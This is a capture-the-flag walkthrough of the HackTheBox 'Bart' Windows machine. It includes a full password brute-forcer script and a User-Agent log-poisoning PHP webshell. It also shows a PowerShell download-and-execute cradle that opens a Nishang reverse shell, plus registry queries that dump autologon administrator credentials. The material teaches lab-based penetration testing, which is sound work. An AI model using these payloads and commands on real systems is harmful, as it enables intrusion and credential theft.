Bart starts simple enough, only listening on port 80. Yet it ends up providing a path to user shell that requires enumeration of two different sites, bypassing two logins, and then finding a file upload / LFI webshell. The privesc is relateively simple, yet I ran into an interesting issue that caused me to miss it at first. Overall, a fun box with lots to play with.

Box Info

Name Bart Bart
Play on HackTheBox
Release Date 24 Feb 2018
Retire Date 04 May 2024
OS Windows Windows
Base Points Medium [30]
Rated Difficulty Rated difficulty for Bart
Radar Graph Radar chart for Bart
First Blood User 05:01:52echthros
First Blood Root 04:53:33echthros
Creator mrh4sh


nmap shows only 80 open:

root@kali# mkdir nmap; nmap -sT -p- --min-rate 5000 -oA nmap/alltcp
Starting Nmap 7.70 ( ) at 2018-04-26 15:44 EDT
Nmap scan report for
Host is up (0.098s latency).
Not shown: 65534 filtered ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 39.78 seconds
root@kali# nmap -sC -sV -p 80 -oA nmap/initial
Starting Nmap 7.70 ( ) at 2018-04-26 15:46 EDT
Nmap scan report for
Host is up (0.099s latency).

80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds

port 80 - website

Visiting the Site

Visiting responds with a redirect to forum.bart.htb, which just fails to resolve.

Add it to /etc/hosts, and try again.

root@kali# grep bart /etc/hosts     bart.htb forum.bart.htb

Now on load: forum

Site says “powered by wordpress”, but looking at the source, it appears to be a static site.

There isn’t much here, but we do find a handful of potential usernames, including a user who is commented out. We’ll use that later.

Further Enumeration

With only a static site, we’ll enumerate further, for both bart.htb and forum.htb to see what we can find.

gobuster on forum.bart.htb

gobuster on forum.bart.htb returns nothing:

root@kali# gobuster -u http://forum.bart.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,asp,aspx,html

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://forum.bart.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 204,301,302,307,200
[+] Extensions   : .txt,.asp,.aspx,.html
/index.html (Status: 200)
/Index.html (Status: 200)
/INDEX.html (Status: 200)

gobuster on bart.htb

gobuster isn’t useful because any ‘t exist returns an image:

root@kali# gobuster -u http://bart.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,asp,aspx,html

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://bart.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions   : .txt,.asp,.aspx,.html
[-] Wildcard response found: http://bart.htb/99a4ed2e-443c-42e8-a750-e8aef7a8d6a0 => 200
[-] To force processing of Wildcard responses, specify the '-fw' switch.


wfuzz to Enumerate

Switch to wfuzz to allow filtering by response length:

root@kali# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh 158607 http://bart.htb/FUZZ

* Wfuzz 2.2.9 - The Web Fuzzer                         *

Target: http://bart.htb/FUZZ
Total requests: 220560

ID      Response   Lines      Word         Chars          Payload

000001:  C=302      0 L        0 W            0 Ch        "# directory-list-2.3-medium.txt"
000002:  C=302      0 L        0 W            0 Ch        "#"
000009:  C=302      0 L        0 W            0 Ch        "# Suite 300, San Francisco, California, 94105, USA."
000003:  C=302      0 L        0 W            0 Ch        "# Copyright 2007 James Fisher"
000004:  C=302      0 L        0 W            0 Ch        "#"
000005:  C=302      0 L        0 W            0 Ch        "# This work is licensed under the Creative Commons"
000006:  C=302      0 L        0 W            0 Ch        "# Attribution-Share Alike 3.0 License. To view a copy of this"
000007:  C=302      0 L        0 W            0 Ch        "# license, visit"
000008:  C=302      0 L        0 W            0 Ch        "# or send a letter to Creative Commons, 171 Second Street,"
000010:  C=302      0 L        0 W            0 Ch        "#"
000011:  C=302      0 L        0 W            0 Ch        "# Priority ordered case sensative list, where entries were found"
000067:  C=301      1 L       10 W          145 Ch        "forum"
001614:  C=301      1 L       10 W          147 Ch        "monitor"
002385:  C=301      1 L       10 W          145 Ch        "Forum"
019837:  C=301      1 L       10 W          147 Ch        "Monitor"
045240:  C=302      0 L        0 W            0 Ch        ""
217693:  C=301      1 L       10 W          147 Ch        "MONITOR"
000012:  C=302      0 L        0 W            0 Ch        "# on atleast 2 different hosts"
000013:  C=302      0 L        0 W            0 Ch        "#"
000014:  C=302      0 L        0 W            0 Ch        ""

Total time: 12219.20
Processed Requests: 220560
Filtered Requests: 220540
Requests/sec.: 18.05027

/forum seems to be the forum site.

The monitor path is interesting.



It turns out that just as /forum and forum.bart.htb are the same page, /monitor and monitor.bart.htb also are the same.

http://monitor.bart.htb/: monitor

There’s a forgot password page:

http://monitor.bart.htb/?action=forgot: monitor forgot pass

Account Identification

On the forgot password page, it will tell you if the email doesn’t exist. So we can use that to reveal usernames for the system.

There are 5 employees referenced on the forum.bart.htb page:

Name Email Position reference
Samantha Brown s.brown@bart.local CEO@BART Our Team
Daniel Simmons d.simmons@bart.htb Head of Sales Our Team
Robert Hilton r.hilton@bart.htb Head of IT Our Team
Harvey Potter h.potter@bart.htb Developer@BART Our Team, commented out
Daniella Lamborghini (guess?) Head of Recruitment News

Trying their emails, emails without domain, and other names finally reveals an account: harvey

Brute Forcing Harvey’s Account:

After a few guesses that were unsuccessful, I opted to used cewl to get a wordlist from the page:

root@kali# cewl -w cewl-forum.txt -e -a http://forum.bart.htb
CeWL 5.3 (Heading Upwards) Robin Wood ( (

Then I decided to write a brute forcer in python since I needed to get around csrf tokens (script included at end), and it found a password:

root@kali# python3 cewl-forum.txt
|==>                            |               99/1028
[+] Found password: potter

And, it worked! logged in

Clicking on the Internal Chat box, there’s details: chat

This reveals another subdomain: http://internal-01.bart.htb


This site just gives a login page (which is a redirect from the root to http://internal-01.bart.htb/simple_chat/login_form.php): internal


Both the root and the simple_chat path don’t give much to work with:

root@kali# gobuster -u http://internal-01.bart.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://internal-01.bart.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
[+] Extensions   : .txt,.html,.php
/index.php (Status: 302)
/log (Status: 301)
/Index.php (Status: 302)
/sql (Status: 301)
/INDEX.php (Status: 302)
/SQL (Status: 301)
/Log (Status: 301)
root@kali# gobuster -u http://internal-01.bart.htb/simple_chat -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://internal-01.bart.htb/simple_chat/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,200,204,301,302
[+] Extensions   : .txt,.php,.html
/index.php (Status: 302)
/login.php (Status: 302)
/register.php (Status: 302)
/media (Status: 301)
/chat.php (Status: 302)
/css (Status: 301)
/includes (Status: 301)
/Index.php (Status: 302)
/Login.php (Status: 302)
/js (Status: 301)
/logout.php (Status: 302)
/Media (Status: 301)
/Register.php (Status: 302)
/login_form.php (Status: 200)
/Chat.php (Status: 302)
/INDEX.php (Status: 302)
/CSS (Status: 301)
/JS (Status: 301)
/Logout.php (Status: 302)
/MEDIA (Status: 301)
/Includes (Status: 301)

Use the Source / Logging in

The source code for the chat server is on github:

Looking at the code, it looks like the version running here removed the register_form.php page, and the link to it from the login_form.php page.

Still, register_form.php posts to register.php, which we saw in the gobuster results above.

We’ll use curl to create an account and get access to the site:

root@kali# curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=0xdf&passwd=password"

And we’re in: 1531016599664

Log Poisoning

Looking at the source, there’s some added code compared to the github repo:

<div id="log_link">
    function saveChat() {
      // create a serialized object and send to log_chat.php. Once done the XHR request, alert "Done"
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
    }'GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
  <a href="#" onclick="saveChat()">Log</a>

When the user clicks the Log link, there’s a popup saying “Done”, and then one saying “1”. That’s because the function is called with the 3rd parameter true, which sets the call to async mode. The script then alerts “Done”, and then, when the http request comes back, the xhr.onreadystatechange function is called, which alerts with the response text.

Checking out the url that’s being called, if viewed directly, it outputs just the number 1, as seen in the popup.

If you change the file parameter to a file that already exists and we can’t write over (like the page source), it returns 0. Also, if you change it to a user that doesn’t exist, it returns 0. What about the file? Turns out that file is available in the same directory:

[2018-02-21 22:35:17] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Each time someone visits log.php, it appears to record the time, the username argument, and their useragent string.

So let’s see if we can get execution by writing to phpinfo.php with useragent <?php phpinfo(); ?>.

root@kali# python3
Python 3.6.5rc1 (default, Mar 14 2018, 06:54:23)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> proxies={'http':''}
>>> headers={'User-Agent':'0xdf: <?php phpinfo(); ?>'}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=phpinfo.php&username=harvey', proxies=proxies, headers=headers)

Then visit http://internal-01.bart.htb/log/phpinfo.php: phpinfo

PHP Webshell

So a webshell is possible:

>>> headers={'User-Agent':"0xdf: <?php system($_REQUEST['cmd']); ?>"}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=0xdf.php&username=harvey', proxies=proxies, headers=headers)
root@kali# curl http://internal-01.bart.htb/log/0xdf.php?cmd=whoami
[2018-04-28 22:55:12] - harvey - 0xdf: nt authority\iusr

Nishang Invoke-PowerShellTcp Shell

Time for a real shell. Grab Invoke-PowerShellTcp.ps1 from Nishang, and add a line to the end:

root@kali# cp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1 .
root@kali# tail -1 Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

Give webshell powershell to get interactive shell and run it, and get shell:

>>> cmd = "powershell IEX(New-Object Net.WebClient).downloadString('')"
>>> r = requests.get('http://internal-01.bart.htb/log/0xdf.php?cmd={}'.format(cmd), proxies=proxies)
root@kali# python -m SimpleHTTPServer 8083
Serving HTTP on port 8083 ... - - [28/Apr/2018 16:09:12] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
root@kali# nc -lnvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 49673
Windows PowerShell running as user BART$ on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\internal-01\log>whoami
nt authority\iusr

Privesc: iusr -> Administrator

Creds in Winlogon

Walking through some standard Windows privesc checks, I eventually found default credentials stored in the registry for autologon. When I queried that out of the nishang shell, I didn’t find the password. See section at end about trouble shooting this.

To get it to work, uploaded nc64.exe, and got a fresh 64bit shell, and I was able to dump credentials from the registry:

C:\inetpub\wwwroot\internal-01\log>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
    DefaultDomainName    REG_SZ    DESKTOP-7I3S68E
    DefaultUserName    REG_SZ    Administrator
    DefaultPassword    REG_SZ    3130438f31186fbaf962f407711faddb

Using Credentials to Get administrator Access

There a several different ways to use these credentials to get access to administrator files (such as the flag). I’ll show two, run_as and net use:

powershell “run as”

Use the password to create a credential that can be passed to Invoke-Command. In this case, shell.ps1 is another Invoke-PowerShellTcp.ps1 with the port changed to 5555:

PS C:\inetpub\wwwroot\internal-01\log> $username = "BART\Administrator"
PS C:\inetpub\wwwroot\internal-01\log> $password = "3130438f31186fbaf962f407711faddb"
PS C:\inetpub\wwwroot\internal-01\log> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\internal-01\log> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\internal-01\log> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
PS C:\inetpub\wwwroot\internal-01\log> Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('') } -Credential $cred -Computer localhost
root@kali# nc -lnvp 5555
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 50593
Windows PowerShell running as user Administrator on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Documents>whoami

net use

Just gets access to the filesystem, but that’s all that is needed to get the flags:

PS HKLM:\software\microsoft\windows nt\currentversion\winlogon> net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb
The command completed successfully.

PS HKLM:\software\microsoft\windows nt\currentversion\winlogon> x:
PS X:\> cd users\administrator\desktop
PS X:\users\administrator\desktop> ls

    Directory: X:\users\administrator\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/02/2018     12:51             32 root.txt

user.txt and root.txt

With admin shell, can grab both flags:

PS C:\Users\Administrator\Documents> cat C:\users\h.potter\user.txt
PS C:\Users\Administrator\Documents> cat C:\users\Administrator\Desktop\root.txt

Beyond Root

brute forcer source

#!/usr/bin/env python3

import re
import requests
import sys
from multiprocessing import Pool

url = "http://monitor.bart.htb/"
username = "harvey"

#<input type="hidden" name="csrf" value="aab59572a210c4ee1f19ab55555a5d829e78b8efdbecd4b2f68bd485d82f0a57" />
csrf_pattern = re.compile('name="csrf" value="(\w+)" /')

def usage():
    print("{} [wordlist]".format(sys.argv[0]))
    print("  wordlist should be one word per line]")

def check_password(password):

    # get csrf token and PHPSESSID
    r = requests.get(url)
    csrf =, r.text).group(1)
    PHPSESSID = [x.split('=')[1] for x in r.headers['Set-Cookie'].split(';') if x.split('=')[0] == 'PHPSESSID'][0]

    # try login:
    data = {"csrf": csrf,
            "user_name": username,
            "user_password": password,
            "action": "login"}
    proxies = {'http': ''}
    headers = {'Cookie': "PHPSESSID={}".format(PHPSESSID)}
    r =, data=data, proxies=proxies, headers=headers)

    if '<p>The information is incorrect.</p>' in r.text:
        return password, False
        return password, True

def main(wordlist, nprocs=MAX_PROC):
    with open(wordlist, 'r', encoding='latin-1') as f:
       words ='\r','').split('\n')

    words = [x.lower() for x in words] + [x.capitalize() for x in words] + words + [x.upper() for x in words]

    pool = Pool(processes=nprocs)

    i = 0
    print_status(0, len(words))
    for password, status in pool.imap_unordered(check_password, [pass_ for pass_ in words]):
        if status:
            sys.stdout.write("\n[+] Found password: {} \n".format(password))
            i += 1
            print_status(i, len(words))

    print("\n\nPassword not found\n")

def print_status(i, l, max=30):
    sys.stdout.write("\r|{}>{}|  {:>15}/{}".format( "=" * ((i*max)//l), " " * (max - ((i*max)//l)), i, l))

if __name__ == '__main__':
    if len(sys.argv) != 2:

Issues with Shells and Getting WinLogon Creds

Originally, I got on with my standard Nishang Invoke-PowerShellTcp.ps1 shell, and when I checked for winlogon creds, there were none there:

PS HKLM:\software\microsoft\windows nt\currentversion\winlogon> whoami
nt authority\iusr
PS HKLM:\software\microsoft\windows nt\currentversion\winlogon> get-itemproperty .

DefaultDomainName       :
DefaultUserName         :
EnableSIHostIntegration : 1
PreCreateKnownFolders   : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
Shell                   : explorer.exe
ShellCritical           : 0
SiHostCritical          : 0
SiHostReadyTimeOut      : 0
SiHostRestartCountLimit : 0
SiHostRestartTimeGap    : 0
PSPath                  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHIN
PSParentPath            : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHIN
                          E\software\microsoft\windows nt\currentversion
PSChildName             : winlogon
PSDrive                 : HKLM
PSProvider              : Microsoft.PowerShell.Core\Registry

My shell loads as a 32-bit process:

PS C:\> [Environment]::Is64BitProcess

That’s because php-cgi is running as a 32-bit process, as shown by the Get-32BitProcess function as defined here:

PS C:\> IEX(New-Object Net.WebClient).downloadString('')
PS C:\>Get-32BitProcess

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName          
-------  ------    -----      -----     ------     --  -- -----------          
     58       4     2240       3524       0.00   2668   0 cmd                  
    435      29     8636      29692       0.69   6984   1 OneDrive             
    196      12     3376       9804       0.02    936   1 OneDriveStandalone...
    116      14     6296      11844       0.17   6972   0 php-cgi              
    664      47    48864      60688       3.31   2764   0 powershell  

Thanks to InvertedClimbing for the help on that one.

I played with things to try to force it into a 64-bit process (without using Metasploit to migrate), but was unable to. Eventually, I used nc64.exe to get a 64-bit shell, and was able to get the credentials. It was a good lesson learned to always check the arch of your shell process.